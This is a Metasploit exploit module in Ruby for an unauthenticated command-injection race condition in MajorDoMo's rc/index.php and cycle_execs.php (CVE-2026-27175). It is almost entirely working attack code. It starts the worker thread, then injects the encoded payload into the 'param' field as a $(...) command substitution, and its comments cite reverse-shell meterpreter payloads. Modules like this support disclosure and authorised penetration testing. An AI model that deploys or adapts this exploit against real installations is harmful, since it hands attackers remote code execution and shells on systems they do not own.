## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'MajorDoMo Remote Command Injection via cycle_execs Race Condition', 'Description' => %q{ This module exploits an unauthenticated command injection vulnerability in MajorDoMo's remote command handler (rc/index.php). The param parameter is interpolated into double quotes without escapeshellarg(), and the resulting string is passed to safe_exec() which inserts it into the safe_execs database table with no sanitization. The cycle_execs.php worker script is web-accessible without authentication. On startup it purges the safe_execs queue, then enters an infinite loop polling the table every second and passing each command to exec(). A race condition is required: the worker must be started first (which purges existing entries), then the injection is performed while the worker is polling. The next iteration picks up and executes the attacker's payload. The command parameter must reference a valid .bat file in rc/commands/. The default MajorDoMo installation ships with shutdown.bat, displayon.bat, and displayoff.bat. All versions of MajorDoMo up to and including the latest release are affected. The fix is tracked in PR sergejey/majordomo#1177. }, 'Author' => [ 'Valentin Lobstein ' # Discovery and Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2026-27175'], ['URL', 'https://chocapikk.com/posts/2026/majordomo-revisited/'], ['URL', 'https://github.com/sergejey/majordomo/pull/1177'] ], 'Targets' => [ [ 'Unix/Linux Command Shell', { 'Platform' => %w[unix linux], 'Arch' => ARCH_CMD # tested with cmd/linux/http/x64/meterpreter/reverse_tcp } ], [ 'Windows Command Shell', { 'Platform' => 'win', 'Arch' => ARCH_CMD # tested with cmd/windows/http/x64/meterpreter/reverse_tcp } ] ], 'DefaultTarget' => 0, 'Privileged' => false, 'DisclosureDate' => '2026-02-18', 'DefaultOptions' => { 'RPORT' => 80 }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS] } ) ) register_options([ OptString.new('TARGETURI', [true, 'The base path to MajorDoMo', '/']), OptString.new('BAT_NAME', [true, 'Name of the .bat file in rc/commands/ (without extension)', 'shutdown']) ]) end def check res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'rc', ''), 'method' => 'GET', 'vars_get' => { 'command' => datastore['BAT_NAME'] } ) return CheckCode::Unknown('Failed to connect to the target.') unless res unless res.body.to_s.include?('OK') return CheckCode::Safe("rc/index.php did not return OK for command '#{datastore['BAT_NAME']}'") end res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'scripts', 'cycle_execs.php'), 'method' => 'GET' ) if res.nil? || res.code == 200 return CheckCode::Vulnerable('Remote command handler and cycle_execs.php are both accessible without authentication') end CheckCode::Detected('Remote command handler is accessible but cycle_execs.php status is unclear') end def exploit # Bootstrap missing tables (cached_cycles) by hitting cycle.php. # cycle.php runs CREATE TABLE IF NOT EXISTS before entering its main loop. # The request blocks (infinite loop), so we fire it in a thread and give it # a few seconds to create the tables before moving on. print_status('Bootstrapping cycle tables via cycle.php...') bootstrap = Rex::ThreadFactory.spawn('CycleBootstrap', false) do send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'cycle.php'), 'method' => 'GET' ) end Rex.sleep(3) bootstrap.kill # Start the cycle worker in a background thread. The request blocks server-side # (while(1) loop), so we keep the connection alive to prevent PHP from aborting. print_status('Starting cycle_execs.php worker...') worker = Rex::ThreadFactory.spawn('CycleWorker', false) do send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'scripts', 'cycle_execs.php'), 'method' => 'GET' ) end # Give the worker time to purge the queue and enter the polling loop Rex.sleep(3) # Inject the payload into safe_execs via command injection in the param field print_status('Injecting payload via rc/index.php...') send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'rc', ''), 'method' => 'GET', 'vars_get' => { 'command' => datastore['BAT_NAME'], 'param' => "$(#{payload.encoded})" } ) # The cycle worker creates a 'reboot' flag file that prevents future workers from polling register_file_for_cleanup('reboot') # Wait for the worker to poll and execute the payload print_status('Waiting for cycle worker to execute payload...') Rex.sleep(5) worker.kill end end